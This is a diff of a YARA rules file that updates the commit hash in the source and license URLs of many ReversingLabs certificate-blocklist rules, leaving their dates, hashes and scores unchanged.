@@ -1531,8 +1584,8 @@ rule REVERSINGLABS_Cert_Blocklist_4531954F6265304055F66Ce4F624F95B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L117-L133"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L117-L133"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "58d3a2a5e3f6730f329bddb171ad6332794fa95848825b892c3b8324f503ae89"
 		score = 75
 		quality = 90
@@ -1556,8 +1609,8 @@ rule REVERSINGLABS_Cert_Blocklist_0E808F231515Bc519Eea1A73Cdf3266F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L135-L151"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L135-L151"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "05e466e304ed7a8f5c1c93aac4a4b7019d6fb1e07aeb45d078b657f838d1f3bd"
 		score = 75
 		quality = 90
@@ -1581,8 +1634,8 @@ rule REVERSINGLABS_Cert_Blocklist_36Be4Ad457F062Fa77D87595B8Ccc8Cf : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L153-L169"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L153-L169"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "d19a6f22a1e702a4da69c867195722adf8f1dd84539f2c584af428fe4b1caf79"
 		score = 75
 		quality = 90
@@ -1606,8 +1659,8 @@ rule REVERSINGLABS_Cert_Blocklist_75A38507Bf403B152125B8F5Ce1B97Ad : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L171-L187"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L171-L187"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "af21cee3ee92268c3aa0106a245e5a00c5ba892fca3e4fd2dc55e302ed5d470a"
 		score = 75
 		quality = 90
@@ -1631,8 +1684,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Effa8B216E24B16202940C1Bc2Fa8A5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L189-L205"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L189-L205"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b5282fc85bbbee50c5307fff923e9e477fed8c011288e2ebd61c4b3ee801bc62"
 		score = 75
 		quality = 90
@@ -1656,8 +1709,8 @@ rule REVERSINGLABS_Cert_Blocklist_57D7153A89Bbf4729Be87F3C927043Aa : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L207-L223"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L207-L223"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a8de7951bd25c8a9346ef341d8bf9c9147f9fa6913e952be40fb43d3d7a370c1"
 		score = 75
 		quality = 90
@@ -1681,8 +1734,8 @@ rule REVERSINGLABS_Cert_Blocklist_028E1Deccf93D38Ecf396118Dfe908B4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L225-L241"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L225-L241"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b07c797652ef19c7e0b23c3eddbbbf2700160d743d71a0005b950160474638d8"
 		score = 75
 		quality = 90
@@ -1706,8 +1759,8 @@ rule REVERSINGLABS_Cert_Blocklist_40575Df73Eaa1B6140C7Ef62C08Bf216 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L243-L259"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L243-L259"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "7da8e98f38413e5cbb18e3c7771c530afb766dd9fbeb8fdd2264617aff24f920"
 		score = 75
 		quality = 90
@@ -1731,8 +1784,8 @@ rule REVERSINGLABS_Cert_Blocklist_049Ce8C47F1F0E650Cb086F0Cfa7Ca53 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L261-L277"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L261-L277"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9ae4a236e1252afc1db6fae4e388a53ebde7e724cc07c213d4bfc176cf0a0096"
 		score = 75
 		quality = 90
@@ -1756,8 +1809,8 @@ rule REVERSINGLABS_Cert_Blocklist_29F42680E653Cf8Fafd0E935553F7E86 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L279-L295"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L279-L295"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6c726e4c2933a6472d256a18ea5265660ff035d05036ab9cae3409ab5a7c7598"
 		score = 75
 		quality = 90
@@ -1781,8 +1834,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C15 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L297-L313"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L297-L313"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "1ee88813270dddeeedd90edbce9be2ce74303a6799ee64b0e9bfaea7377d3b2d"
 		score = 75
 		quality = 90
@@ -1806,8 +1859,8 @@ rule REVERSINGLABS_Cert_Blocklist_0C0F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L315-L331"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L315-L331"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0f8fda07dc362b7e04892446f1abe1e5f5717ee715824a2c1f6550096c366701"
 		score = 75
 		quality = 90
@@ -1831,8 +1884,8 @@ rule REVERSINGLABS_Cert_Blocklist_06A164Ec5978497741Ee6Cec9966871B : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L333-L349"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L333-L349"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8a27015d94a3bd8543a8ca9202831ffc9c9e65f61bf26ed6825c3e746b6af0d4"
 		score = 75
 		quality = 90
@@ -1856,8 +1909,8 @@ rule REVERSINGLABS_Cert_Blocklist_1121Ed568764E75Be35574448Feadefcd3Bc : INFO FI
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L351-L367"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L351-L367"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3316a2536920c5aa9dd627cec7678e6fe33c722b4830dd740009c20dd013c9ab"
 		score = 75
 		quality = 90
@@ -1881,8 +1934,8 @@ rule REVERSINGLABS_Cert_Blocklist_6Ed2450Ceac0F72E73Fda1727E66E654 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L369-L385"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L369-L385"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0e5af7795c825367d441c8abc2aa835fa83083eb8ee1f723c7d2dacff1ca88ff"
 		score = 75
 		quality = 90
@@ -1906,8 +1959,8 @@ rule REVERSINGLABS_Cert_Blocklist_32665079C5A5854A6833623Ca77Ff5Ac : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L387-L403"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L387-L403"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6b734ca733c5fbadcb490ffd4c19c951e0fc17dd9b660eca948b126038c42cdb"
 		score = 75
 		quality = 90
@@ -1931,8 +1984,8 @@ rule REVERSINGLABS_Cert_Blocklist_01A90094C83412C00Cf98Dd2Eb0D7042 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L405-L421"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L405-L421"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5a3de0e6de5cda39e40988f9e2324cbee3e059aff5ceaf7fd819de8bf7215808"
 		score = 75
 		quality = 90
@@ -1956,8 +2009,8 @@ rule REVERSINGLABS_Cert_Blocklist_55Efe24B9674855Baf16E67716479C71 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L423-L439"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L423-L439"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2cf7a76ae3c3a698564013ff545c74d0319face5aa19416c93bf10f45f84f8c9"
 		score = 75
 		quality = 90
@@ -1981,8 +2034,8 @@ rule REVERSINGLABS_Cert_Blocklist_094Bf19D509D3074913995160B195B6C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L441-L457"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L441-L457"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3c1ed012716f36876d9375838befb9821b87cafc6aca57a0f18392f80f5ba325"
 		score = 75
 		quality = 90
@@ -2006,8 +2059,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A77Cf3Ba49B64E6Cbe5Fb4A6A6Aacc6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L459-L475"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L459-L475"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3bebc4a36b57526505167d8f075d468e4775d66c81ce08644c506d9be94efba0"
 		score = 75
 		quality = 90
@@ -2031,8 +2084,8 @@ rule REVERSINGLABS_Cert_Blocklist_1F4C22Da1107D20C1Eda04569D58E573 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L477-L493"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L477-L493"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "fe19c4b21c3b70ec571461ca6d9c370a971c01f2d68e3c3916aa1fa0f13b20f8"
 		score = 75
 		quality = 90
@@ -2056,8 +2109,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Fe68D48634893D18De040D8F1C289D2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L495-L511"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L495-L511"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "41feebc8800a084ac369b5c5721b1362d371bd503b67823986bad2839157a4b0"
 		score = 75
 		quality = 90
@@ -2081,8 +2134,8 @@ rule REVERSINGLABS_Cert_Blocklist_6767Def972D6Ea702D8C8A53Af1832D3 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L513-L529"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L513-L529"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "aa7f997449b4b8dcf488cfb7f45ee98ca540d39fb861f5b01ff4bb4aa1875b72"
 		score = 75
 		quality = 90
@@ -2106,8 +2159,8 @@ rule REVERSINGLABS_Cert_Blocklist_06477E3425F1448995Ced539789E6842 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L531-L547"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L531-L547"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c0bc7808bb6bcc8273a887203c1b47d1a49fcb7719863e6bc97b5c7404a254f7"
 		score = 75
 		quality = 90
@@ -2131,8 +2184,8 @@ rule REVERSINGLABS_Cert_Blocklist_0450A7C1C36951Da09C8Ad0E7F716Ff2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L549-L565"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L549-L565"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cb594607ceef1b8d79145ad3905fb2c38d2ed3f3e6c8a0a793fc2dc9d0a21855"
 		score = 75
 		quality = 90
@@ -2156,8 +2209,8 @@ rule REVERSINGLABS_Cert_Blocklist_0F9Fbdab9B39645Cf3211F87Abb5Ddb7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L567-L583"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L567-L583"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ba5885c7769b5ead261815880033b0df50dc4f7684fdb37398ab01bfebda0e37"
 		score = 75
 		quality = 90
@@ -2181,8 +2234,8 @@ rule REVERSINGLABS_Cert_Blocklist_4211D2E4F0E87127319302C55B85Bcf2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L585-L601"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L585-L601"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "edf9bbface7fe943dfa4f5a6e8469802ccdbd3de9d3e6b8fabebb024c21bb9a9"
 		score = 75
 		quality = 90
@@ -2206,8 +2259,8 @@ rule REVERSINGLABS_Cert_Blocklist_07B44Cdbfffb78De05F4261672A67312 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L603-L619"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L603-L619"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c88a8543782fc49d8aa68f3fc8052bd3316d10118dfb2ef2eef5006de657b6f1"
 		score = 75
 		quality = 90
@@ -2231,8 +2284,8 @@ rule REVERSINGLABS_Cert_Blocklist_4F8B9A1Ba5E60C754Dbb40Ddee7905E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L621-L637"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L621-L637"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2a0d07d47cd41db5dc170a29607b6c1f2e3b7c0785f83b211f68f9cb9368e350"
 		score = 75
 		quality = 90
@@ -2256,8 +2309,8 @@ rule REVERSINGLABS_Cert_Blocklist_0A389B95Ee736Dd13Bc0Ed743Fd74D2F : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L639-L655"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L639-L655"
